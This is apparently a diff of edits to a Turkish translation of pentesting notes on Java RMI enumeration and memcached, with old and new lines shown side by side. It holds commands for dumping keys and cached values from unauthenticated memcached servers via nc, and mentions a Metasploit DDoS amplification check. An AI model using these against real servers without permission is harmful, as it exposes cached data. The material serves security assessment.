[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_indeki veritabanında listelenmişse `bilinen` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `bilinen` eylemini kullanabilirsiniz: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) sınıfları veya arayüzleri, eğer araçtaki bilinen _RMI hizmetleri_ veritabanında listelenmişse `known` olarak işaretler. Bu durumlarda, ilgili _RMI hizmeti_ hakkında daha fazla bilgi almak için `known` eylemini kullanabilirsiniz:
``` ```
$ rmg enum 172.17.0.2 1090 | head -n 5 $ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names: [+] RMI registry bound names:

View File

@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Memcached): From [wikipedia](https://en.wikipedia.org/wiki/Memcached):
> **Memcached** (telaffuz: mem-cashed, mem-cash-dee) genel amaçlı dağıtık [bellek önbellekleme](https://en.wikipedia.org/wiki/Memory_caching) sistemidir. Genellikle dinamik veritabanı destekli web sitelerinin hızını artırmak için verileri ve nesneleri RAM'de önbelleğe alarak harici bir veri kaynağının (örneğin bir veritabanı veya API) okunma sayısını azaltmak için kullanılır. > **Memcached** (okunuşu: mem-cashed, mem-cash-dee) genel amaçlı dağıtık [bellek önbellekleme](https://en.wikipedia.org/wiki/Memory_caching) sistemidir. Genellikle, verileri ve nesneleri RAM'de önbelleğe alarak dinamik veritabanı destekli web sitelerinin hızını artırmak için kullanılır, böylece harici bir veri kaynağının (örneğin bir veritabanı veya API) okunma sayısını azaltır.
Memcached SASL'yi desteklese de, çoğu örnek **kimlik doğrulama olmadan açığa çıkar**. Memcached SASL'yi desteklese de, çoğu örnek **kimlik doğrulama olmadan açığa çıkar**.
@ -56,10 +56,10 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
Memcache alanında, verileri slablar aracılığıyla düzenlemeye yardımcı olan bir protokolde, depolanan verileri incelemek için belirli komutlar bulunmaktadır, ancak dikkate değer kısıtlamalarla birlikte: Memcache alanında, verileri slablar aracılığıyla düzenlemeye yardımcı olan bir protokolde, depolanan verileri incelemek için belirli komutlar bulunmaktadır, ancak dikkate değer kısıtlamalarla birlikte:
1. Anahtarlar yalnızca slab sınıfına göre dökülebilir, benzer içerik boyutuna sahip anahtarları gruplar. 1. Anahtarlar yalnızca slab sınıfına göre dökülebilir, benzer içerik boyutuna sahip anahtarları gruplar.
2. Her slab sınıfı için bir sayfa limiti vardır, bu da 1MB veri ile eşdeğerdir. 2. Her slab sınıfı için bir sayfa limiti vardır, bu da 1MB veriye eşdeğerdir.
3. Bu özellik resmi değildir ve [topluluk forumlarında](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) tartışıldığı gibi herhangi bir zamanda sona erdirilebilir. 3. Bu özellik resmi değildir ve [topluluk forumlarında](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM) tartışıldığı gibi herhangi bir zamanda kaldırılabilir.
Potansiyel olarak gigabaytlarca veriden yalnızca 1MB dökme kısıtlaması özellikle önemlidir. Ancak, bu işlevsellik belirli ihtiyaçlara bağlı olarak anahtar kullanım desenleri hakkında içgörüler sunabilir. Mekaniklerle daha az ilgilenenler için, [araçlar bölümüne](https://lzone.de/cheat-sheet/memcached#tools) bir ziyaret, kapsamlı dökme için yardımcı programlar sunmaktadır. Alternatif olarak, memcached kurulumlarıyla doğrudan etkileşim için telnet kullanma süreci aşağıda açıklanmıştır. Potansiyel olarak gigabaytlarca veriden yalnızca 1MB dökme kısıtlaması özellikle önemlidir. Ancak, bu işlevsellik belirli ihtiyaçlara bağlı olarak anahtar kullanım desenleri hakkında içgörüler sunabilir. Mekaniklerle daha az ilgilenenler için, [araçlar bölümüne](https://lzone.de/cheat-sheet/memcached#tools) bir ziyaret, kapsamlı döküm için yardımcı programlar sunmaktadır. Alternatif olarak, memcached kurulumlarıyla doğrudan etkileşim için telnet kullanma süreci aşağıda açıklanmıştır.
### **Nasıl Çalışır** ### **Nasıl Çalışır**
@ -91,11 +91,11 @@ Başka bir yararlı komut, "stats items", tahliyeler, bellek kısıtlamaları ve
stats items stats items
[...] [...]
``` ```
Bu istatistikler, farklı içerik boyutları için önbellek verimliliği, bellek tahsisi ve büyük nesneleri önbelleğe alma kapasitesi de dahil olmak üzere uygulama önbellekleme davranışı hakkında eğitimli varsayımlar yapmaya olanak tanır. Bu istatistikler, uygulama önbellekleme davranışı hakkında eğitimli varsayımlar yapmaya olanak tanır; bu, farklı içerik boyutları için önbellek verimliliği, bellek tahsisi ve büyük nesneleri önbelleğe alma kapasitesini içerir.
### **Anahtarları Dökme** ### **Anahtarları Dökme**
1.4.31'den önceki sürümler için, anahtarlar slab sınıfı tarafından şu şekilde dökülür: 1.4.31'den önceki sürümler için, anahtarlar slab sınıfı tarafından dökülür:
```bash ```bash
stats cachedump <slab class> <number of items to dump> stats cachedump <slab class> <number of items to dump>
``` ```
@ -109,7 +109,7 @@ Bu yöntem, slab sınıfları üzerinde yineleme yaparak anahtar değerlerini ç
### **MEMCACHE ANAHTARLARINI DÖKME (VER 1.4.31+)** ### **MEMCACHE ANAHTARLARINI DÖKME (VER 1.4.31+)**
Memcache sürümü 1.4.31 ve üzeri ile, üretim ortamında anahtarları dökmek için yeni, daha güvenli bir yöntem tanıtılmıştır; bu yöntem, [sürüm notlarında](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) detaylandırıldığı gibi, engellemeyen mod kullanmaktadır. Bu yaklaşım geniş bir çıktı üretir, bu nedenle verimlilik için 'nc' komutunun kullanılması önerilir. Örnekler şunlardır: Memcache sürüm 1.4.31 ve üzeri ile, üretim ortamında anahtarları dökmek için yeni, daha güvenli bir yöntem tanıtılmıştır; bu yöntem, [sürüm notlarında](https://github.com/memcached/memcached/wiki/ReleaseNotes1431) detaylandırıldığı gibi, engellemeyen mod kullanmaktadır. Bu yaklaşım geniş bir çıktı üretir, bu nedenle verimlilik için 'nc' komutunun kullanılması önerilir. Örnekler şunlardır:
```bash ```bash
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
@ -118,10 +118,10 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce
Table [from here](https://lzone.de/blog). Table [from here](https://lzone.de/blog).
| Programming Languages | Tools | Functionality | | | | Programlama Dilleri | Araçlar | İşlevsellik | | |
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ------- |
| PHP | [simple script](http://snipt.org/xtP) | Anahtar adlarını yazdırır. | | | | PHP | [simple script](http://snipt.org/xtP) | Anahtar adlarını yazdırır. | | |
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Anahtarları ve değerleri yazdırır. | | | | Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Anahtarları ve değerleri yazdırır | | |
| Ruby | [simple script](https://gist.github.com/1365005) | Anahtar adlarını yazdırır. | | | | Ruby | [simple script](https://gist.github.com/1365005) | Anahtar adlarını yazdırır. | | |
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN modülündeki araç | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | | Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN modülündeki araç | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Anahtarları dökme imkanı sunan Memcache İzleme GUI'si | | | | PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Anahtarları dökme imkanı sunan Memcache İzleme GUI'si | | |
@ -129,33 +129,33 @@ Table [from here](https://lzone.de/blog).
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a> ## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
### 1MB Data Limit <a href="#1mb-data-limit" id="1mb-data-limit"></a> ### 1MB Veri Sınırı <a href="#1mb-data-limit" id="1mb-data-limit"></a>
Memcached 1.4'ten önce, varsayılan maksimum slab boyutu nedeniyle 1MB'den büyük nesneleri depolayamazsınız. Memcached 1.4'ten önce, varsayılan maksimum slab boyutu nedeniyle 1MB'den büyük nesneleri depolayamazsınız.
### Never Set a Timeout > 30 Days! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a> ### Asla 30 Günden Fazla Bir Zaman Aşımı Ayarlamayın! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
Eğer izin verilen maksimumdan daha büyük bir zaman aşımı ile bir anahtar “set” veya “add” etmeye çalışırsanız, memcached bu değeri bir Unix zaman damgası olarak değerlendireceği için beklediğiniz gibi olmayabilir. Ayrıca, zaman damgası geçmişte ise hiçbir şey yapmaz. Komutunuz sessizce başarısız olur. Eğer izin verilen maksimumdan daha büyük bir zaman aşımı ile bir anahtar “set” veya “add” etmeye çalışırsanız, memcached değeri bir Unix zaman damgası olarak değerlendireceği için beklediğiniz sonucu alamayabilirsiniz. Ayrıca, zaman damgası geçmişte ise hiçbir şey yapmaz. Komutunuz sessizce başarısız olur.
Bu nedenle, maksimum ömrü kullanmak istiyorsanız 2592000 olarak belirtin. Örnek: Bu nedenle, maksimum ömrü kullanmak istiyorsanız 2592000 olarak belirtin. Örnek:
``` ```
set my_key 0 2592000 1 set my_key 0 2592000 1
1 1
``` ```
### Taşan Değerlerde Kaybolan Anahtarlar <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a> ### Taşma Üzerinde Kaybolan Anahtarlar <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
Belgelerde, “incr” kullanarak 64bit değerinin taşmasının anahtarın kaybolmasına neden olduğu belirtilse de, bu değerin tekrar “add”/“set” ile oluşturulması gerekir. Belgelerde “incr” kullanarak 64bit taşmanın bir değeri sarma ile ilgili bir şeyler söylese de, bu değer kaybolur. Yeniden “add”/“set” kullanılarak oluşturulması gerekir.
### Çoğaltma <a href="#replication" id="replication"></a> ### Çoğaltma <a href="#replication" id="replication"></a>
memcached kendisi çoğaltmayı desteklemez. Eğer gerçekten buna ihtiyacınız varsa, 3. parti çözümler kullanmalısınız: memcached kendisi çoğaltmayı desteklemez. Gerçekten ihtiyacınız varsa, 3. parti çözümler kullanmalısınız:
- [repcached](http://repcached.lab.klab.org/): Çoklu-master asenkron çoğaltma (memcached 1.2 yaman seti) - [repcached](http://repcached.lab.klab.org/): Çoklu-master asenkron çoğaltma (memcached 1.2 yaman seti)
- [Couchbase memcached arayüzü](http://www.couchbase.com/memcached): CouchBase'i memcached yerine kullanın - [Couchbase memcached arayüzü](http://www.couchbase.com/memcached): CouchBase'i memcached yerine kullanın
- [yrmcds](https://cybozu.github.io/yrmcds/): memcached uyumlu Master-Slave anahtar değer deposu - [yrmcds](https://cybozu.github.io/yrmcds/): memcached uyumlu Master-Slave anahtar değer deposu
- [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): memcached desteği olan proxy - [twemproxy](https://github.com/twitter/twemproxy) (aka nutcracker): memcached desteği olan proxy
### Komutlar Hızlı Referans ### Komutlar Kılavuzu
{{#ref}} {{#ref}}
memcache-commands.md memcache-commands.md

View File

@ -10,30 +10,30 @@ Desteklenen komutlar (resmi olanlar ve bazı resmi olmayanlar) [doc/protocol.txt
Üzgünüm, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [source](https://github.com/memcached/memcached) içinde bulabileceğiniz komutların bir özeti (19.08.2016 itibarıyla): Üzgünüm, sözdizimi açıklaması gerçekten net değil ve mevcut komutları listeleyen basit bir yardım komutu çok daha iyi olurdu. İşte [source](https://github.com/memcached/memcached) içinde bulabileceğiniz komutların bir özeti (19.08.2016 itibarıyla):
| Komut | Açıklama | Örnek | | Komut | Açıklama | Örnek |
| -------------------- | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | | -------------------- | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Bir değeri okur | `get mykey` | | get | Bir değeri okur | `get mykey` |
| set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken satır sonları için \r\n kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> | | set | Bir anahtarı koşulsuz olarak ayarlar | <p><code>set mykey &#x3C;flags> &#x3C;ttl> &#x3C;size></code><br><br>&#x3C;p>Unix CLI araçlarını kullanırken satır sonları için \r\n kullanmayı unutmayın. Örneğin&#x3C;/p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
| add | Yeni bir anahtar ekler | `add newkey 0 60 5` | | add | Yeni bir anahtar ekler | `add newkey 0 60 5` |
| replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` | | replace | Mevcut anahtarı üzerine yazar | `replace key 0 60 5` |
| append | Mevcut anahtara veri ekler | `append key 0 60 15` | | append | Mevcut anahtara veri ekler | `append key 0 60 15` |
| prepend | Mevcut anahtara veri ekler | `prepend key 0 60 15` | | prepend | Mevcut anahtara veri ekler | `prepend key 0 60 15` |
| incr | Sayısal anahtar değerini verilen sayı kadar artırır | `incr mykey 2` | | incr | Sayısal anahtar değerini verilen sayı kadar artırır | `incr mykey 2` |
| decr | Sayısal anahtar değerini verilen sayı kadar azaltır | `decr mykey 5` | | decr | Sayısal anahtar değerini verilen sayı kadar azaltır | `decr mykey 5` |
| delete | Mevcut bir anahtarı siler | `delete mykey` | | delete | Mevcut bir anahtarı siler | `delete mykey` |
| flush_all | Tüm öğeleri hemen geçersiz kılar | `flush_all` | | flush_all | Tüm öğeleri hemen geçersiz kılar | `flush_all` |
| flush_all | Tüm öğeleri n saniye içinde geçersiz kılar | `flush_all 900` | | flush_all | Tüm öğeleri n saniye içinde geçersiz kılar | `flush_all 900` |
| stats | Genel istatistikleri yazdırır | `stats` | | stats | Genel istatistikleri yazdırır | `stats` |
| | Bellek istatistiklerini yazdırır | `stats slabs` | | | Bellek istatistiklerini yazdırır | `stats slabs` |
| | Daha yüksek seviyede tahsis istatistiklerini yazdırır | `stats malloc` | | | Daha yüksek seviyede tahsis istatistiklerini yazdırır | `stats malloc` |
| | Öğeler hakkında bilgi yazdırır | `stats items` | | | Öğeler hakkında bilgi yazdırır | `stats items` |
| | | `stats detail` | | | | `stats detail` |
| | | `stats sizes` | | | | `stats sizes` |
| | İstatistik sayaçlarını sıfırlar | `stats reset` | | | İstatistik sayaçlarını sıfırlar | `stats reset` |
| lru_crawler metadump | Önbellekteki (tüm) öğelerin (çoğu) meta verisini döker | `lru_crawler metadump all` | | lru_crawler metadump | Önbellekteki (tüm) öğelerin (çoğu) meta verisini döker | `lru_crawler metadump all` |
| version | Sunucu sürümünü yazdırır. | `version` | | version | Sunucu sürümünü yazdırır. | `version` |
| verbosity | Günlük seviyesini artırır | `verbosity` | | verbosity | Günlük seviyesini artırır | `verbosity` |
| quit | Oturumu sonlandırır | `quit` | | quit | Oturumu sonlandırır | `quit` |
#### Trafik İstatistikleri <a href="#traffic-statistics" id="traffic-statistics"></a> #### Trafik İstatistikleri <a href="#traffic-statistics" id="traffic-statistics"></a>
@ -96,7 +96,7 @@ STAT active_slabs 3
STAT total_malloced 3145436 STAT total_malloced 3145436
END END
``` ```
Eğer memcached örneğiniz için yeterli belleğe sahip olup olmadığınızdan emin değilseniz, her zaman “stats” komutuyla verilen “evictions” sayaçlarına dikkat edin. Eğer örnek için yeterli belleğiniz varsa “evictions” sayacı 0 olmalı veya en azından artmamalıdır. Eğer memcached örneğiniz için yeterli belleğe sahip olup olmadığınızdan emin değilseniz, her zaman “stats” komutu ile verilen “evictions” sayaçlarına dikkat edin. Eğer örnek için yeterli belleğiniz varsa “evictions” sayacı 0 olmalı veya en azından artmamalıdır.
#### Hangi Anahtarlar Kullanılıyor? <a href="#which-keys-are-used" id="which-keys-are-used"></a> #### Hangi Anahtarlar Kullanılıyor? <a href="#which-keys-are-used" id="which-keys-are-used"></a>

Some files were not shown because too many files have changed in this diff Show More